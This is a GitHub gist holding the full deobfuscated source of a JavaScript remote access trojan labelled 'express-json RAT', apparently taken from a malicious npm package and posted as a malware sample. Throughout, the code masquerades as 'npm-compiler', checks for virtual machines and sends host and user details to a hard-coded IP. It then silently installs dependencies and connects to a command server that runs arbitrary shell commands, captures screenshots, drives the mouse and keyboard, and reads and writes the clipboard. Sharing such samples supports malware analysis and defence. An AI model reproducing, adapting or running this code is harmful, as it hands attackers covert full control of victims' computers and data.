Created
April 2, 2026 09:58
-
-
Save b401/2ed2fa4a2bcebbe64e772d3d93759c76 to your computer and use it in GitHub Desktop.
express-json RAT
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SLOP deobfuscation | |
| const axios = require('axios'); | |
| const os = require('os'); | |
| const fs = require('fs'); | |
| const { execSync, exec, spawn } = require('child_process'); | |
| const uid = 'a36adbc35e69b22acbf9f834a0deb286'; | |
| const m = '216.126.237.71'; | |
| const p = '4801'; | |
| const t = '8'; | |
| process.title = 'npm-compiler'; | |
| const path = require('path'); | |
| const pathDir = path.join(os.homedir(), '.npm'); | |
| const pidFile = path.join(os.homedir(), '.npm', process.title); | |
| let tryGlobal = false; | |
| function isRunning(pid) { | |
| try { | |
| process.kill(pid, 0); | |
| return true; | |
| } catch (e) { | |
| return false; | |
| } | |
| } | |
| // PID lockfile — prevent duplicate instances | |
| if (fs.existsSync(pidFile)) { | |
| const existingPid = parseInt(fs.readFileSync(pidFile).toString()); | |
| if (isRunning(existingPid)) { | |
| process.exit(1); | |
| } else { | |
| fs.unlinkSync(pidFile); | |
| } | |
| } | |
| fs.mkdirSync(pathDir, { recursive: true }); | |
| fs.writeFileSync(pidFile, process.pid.toString(), { flag: 'w+' }); | |
| process.on('exit', () => { | |
| if (fs.existsSync(pidFile)) fs.unlinkSync(pidFile); | |
| }); | |
| // --- Logging helper --- | |
| const makeLog = async (message) => { | |
| try { | |
| await axios.post('http://' + m + '/api/service/makelog', { | |
| message: message, | |
| host: os.hostname(), | |
| uid: uid, | |
| t: t | |
| }).then(r => {}).catch(e => {}); | |
| } catch (e) {} | |
| }; | |
| // --- VM detection + host fingerprinting --- | |
| const setHeader = async function () { | |
| try { | |
| let isVM = false; | |
| if (os.platform() === 'win32') { | |
| let result = execSync( | |
| 'powershell -NoProfile -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Model,Manufacturer"', | |
| { windowsHide: true } | |
| ); | |
| result = result.toString().toLowerCase(); | |
| if ( | |
| result.indexOf('microsoft corporation') > -1 || | |
| result.includes('vmware') || | |
| result.includes('virtualbox') || | |
| result.includes('qemu') | |
| ) { | |
| isVM = true; | |
| } | |
| } else if (os.platform() === 'linux') { | |
| let result = execSync('system_profiler SPHardwareDataType', { windowsHide: true }); | |
| result = result.toString().toLowerCase(); | |
| if (/vmware|virtualbox|qemu|parallels|virtual/i.test(result)) { | |
| isVM = true; | |
| } | |
| } else if (os.platform() === 'darwin') { | |
| let cpuinfo = fs.readFileSync('/proc/cpuinfo', 'utf8').toLowerCase(); | |
| if (/hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs/.test(cpuinfo)) { | |
| isVM = true; | |
| } | |
| } | |
| return await axios.post( | |
| 'http://' + m + '/api/service/process/' + uid, | |
| { | |
| OS: os.type(), | |
| platform: os.platform(), | |
| release: os.release() + (isVM ? ' (VM)' : '(Local)'), | |
| host: os.hostname(), | |
| userInfo: os.userInfo(), | |
| uid: uid, | |
| t: t | |
| } | |
| ); | |
| } catch (err) { | |
| makeLog('Header Error: ' + err.message); | |
| } | |
| }; | |
| // --- Install missing dependencies --- | |
| const IM = async () => { | |
| await setHeader(); | |
| makeLog('Installing socket.io-client'); | |
| execSync( | |
| 'npm install -g socket.io-client sharp screenshot-desktop clipboardy @nut-tree-fork/nut-js --no-warnings --no-save --no-progress --loglevel silent', | |
| { windowsHide: true } | |
| ); | |
| }; | |
| // --- Main RAT logic --- | |
| const ss = async () => { | |
| await IM(); | |
| try { | |
| let io = require('socket.io-client'); | |
| const sharp = require('sharp'); | |
| const screenshotDesktop = require('screenshot-desktop'); | |
| const { mouse, screen, keyboard, Button, Key, sleep } = require('@nut-tree-fork/nut-js'); | |
| let clipboard = null; | |
| // Dynamic import of clipboardy (ESM module) | |
| async function loadClipboard() { | |
| if (clipboard) return clipboard; | |
| try { | |
| const mod = await import('clipboardy'); | |
| clipboard = mod.default; | |
| return clipboard; | |
| } catch (err) { | |
| console.warn('clipboardy unavailable:', err.message); | |
| return null; | |
| } | |
| } | |
| await loadClipboard(); | |
| // --- Connect to C2 --- | |
| const socket = io('http://' + m + ':' + p, { | |
| reconnectionAttempts: 0, | |
| reconnectionDelay: 2000, | |
| timeout: 2000000 | |
| }); | |
| // --- Remote command execution --- | |
| socket.on('command', (cmd) => { | |
| try { | |
| exec(cmd.message, { | |
| windowsHide: true, | |
| maxBuffer: 1024 * 1024 * 10, // 10MB | |
| cwd: os.homedir() | |
| }, (err, stdout, stderr) => { | |
| if (err) { | |
| socket.emit('result', { | |
| result: err.message, | |
| ...cmd, | |
| uid: uid, | |
| type: 'error', | |
| t: t | |
| }); | |
| return; | |
| } | |
| if (stderr) { | |
| socket.emit('result', { | |
| result: stderr, | |
| ...cmd, | |
| type: 'stderr' | |
| }); | |
| return; | |
| } | |
| socket.emit('result', { | |
| ...cmd, | |
| result: stdout, | |
| code: cmd.code, | |
| cid: cmd.cid, | |
| sid: cmd.sid, | |
| uid: uid, | |
| t: t | |
| }); | |
| }); | |
| } catch (err) { | |
| makeLog(err.messge); | |
| } | |
| }); | |
| // --- Host info on connect --- | |
| socket.on('connect', (v) => { | |
| socket.emit('whour', { | |
| OS: os.type(), | |
| platform: os.platform(), | |
| release: os.release(), | |
| host: os.hostname(), | |
| userInfo: os.userInfo(), | |
| uid: uid, | |
| t: t | |
| }); | |
| }); | |
| // --- Screenshot compression helper --- | |
| async function compressScreenshot(buffer, quality = 80) { | |
| return await sharp(buffer) | |
| .jpeg({ quality: quality, chromaSubsampling: '4:2:0', mozjpeg: true }) | |
| .toBuffer(); | |
| } | |
| // --- Screenshot capture --- | |
| socket.on('capture', async ({ quality, sid } = {}) => { | |
| try { | |
| let img = await screenshotDesktop({ format: 'png' }); | |
| img = await compressScreenshot(img, quality); | |
| socket.emit('screenshot-desktop', { sid: sid, img: img.toString('base64') }, () => {}); | |
| } catch (err) { | |
| console.error('Screenshot error:', err); | |
| } | |
| }); | |
| // --- Mouse move --- | |
| socket.on('mouseMove', async ({ x, y }) => { | |
| try { | |
| const w = await screen.width(); | |
| const h = await screen.height(); | |
| const absX = Math.floor(x * w); | |
| const absY = Math.floor(y * h); | |
| await mouse.setPosition({ | |
| x: Math.min(Math.max(absX, 0), w - 1), | |
| y: Math.min(Math.max(absY, 0), h - 1) | |
| }); | |
| } catch (err) { | |
| console.error('Mouse move error:', err); | |
| } | |
| }); | |
| // --- Mouse click --- | |
| socket.on('mouseClick', async (button) => { | |
| try { | |
| let btn; | |
| switch (button) { | |
| case 'left': btn = Button.LEFT; break; | |
| case 'middle': btn = Button.MIDDLE; break; | |
| case 'right': btn = Button.RIGHT; break; | |
| default: throw new Error('Invalid mouse button: ' + button); | |
| } | |
| await mouse.click(btn); | |
| } catch (err) { | |
| console.error('mouseClick error:', err); | |
| } | |
| }); | |
| // --- Mouse scroll --- | |
| socket.on('mouseScroll', async ({ direction, amount }) => { | |
| try { | |
| if (direction === 'up') { | |
| await mouse.scrollUp(amount * 3); | |
| } else { | |
| await mouse.scrollDown(amount * 3); | |
| } | |
| } catch (err) { | |
| console.error('mouseScroll error:', err); | |
| } | |
| }); | |
| // --- Keyboard input --- | |
| socket.on('keyTap', async ({ type, key }) => { | |
| try { | |
| if (type === 'down') await keyboard.pressKey(key); | |
| if (type === 'up') await keyboard.releaseKey(key); | |
| await sleep(50); | |
| } catch (err) { | |
| console.error('keyTap error:', err); | |
| } | |
| }); | |
| // --- Key combination helper --- | |
| async function sendKeyCombination(modifiers, key) { | |
| try { | |
| for (const mod of modifiers) await keyboard.pressKey(mod); | |
| await keyboard.pressKey(key); | |
| await sleep(50); | |
| await keyboard.releaseKey(key); | |
| for (const mod of modifiers.reverse()) await keyboard.releaseKey(mod); | |
| } catch (err) { | |
| console.error('sendKeyCombination error:', err); | |
| } | |
| } | |
| // --- Key combo --- | |
| socket.on('keyCombo', async ({ modifiers = [], key }) => { | |
| await sendKeyCombination(modifiers, key); | |
| }); | |
| // --- Read clipboard --- | |
| socket.on('copyClipboard', async (v) => { | |
| try { | |
| const text = await clipboard.read(); | |
| socket.emit('copyText', { cid: v.sid, text: text }); | |
| } catch (err) { | |
| console.error('copyText error:', err); | |
| } | |
| }); | |
| // --- Kill process --- | |
| socket.on('exit', async (v) => { | |
| process.exit(0); | |
| }); | |
| // --- Paste text (write to clipboard + Ctrl+V) --- | |
| socket.on('pasteText', async (v) => { | |
| try { | |
| await clipboard.write(v.text); | |
| await sendKeyCombination(['Control'], 'v'); | |
| } catch (err) { | |
| console.error('pasteText error:', err); | |
| } | |
| }); | |
| // --- Error / disconnect handlers --- | |
| socket.on('error', (v) => {}); | |
| socket.on('disconnect', () => {}); | |
| } catch (err) { | |
| // If dependencies missing, install and retry | |
| makeLog('SS Err: ' + JSON.stringify(err.message)); | |
| if (!tryGlobal) { | |
| execSync( | |
| 'npm install socket.io-client sharp screenshot-desktop clipboardy @nut-tree-fork/nut-js --no-warnings --no-save --no-progress --loglevel silent', | |
| { windowsHide: true } | |
| ); | |
| } else { | |
| process.exit(1); | |
| } | |
| tryGlobal = true; | |
| ss(); // retry | |
| } | |
| }; | |
| ss(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment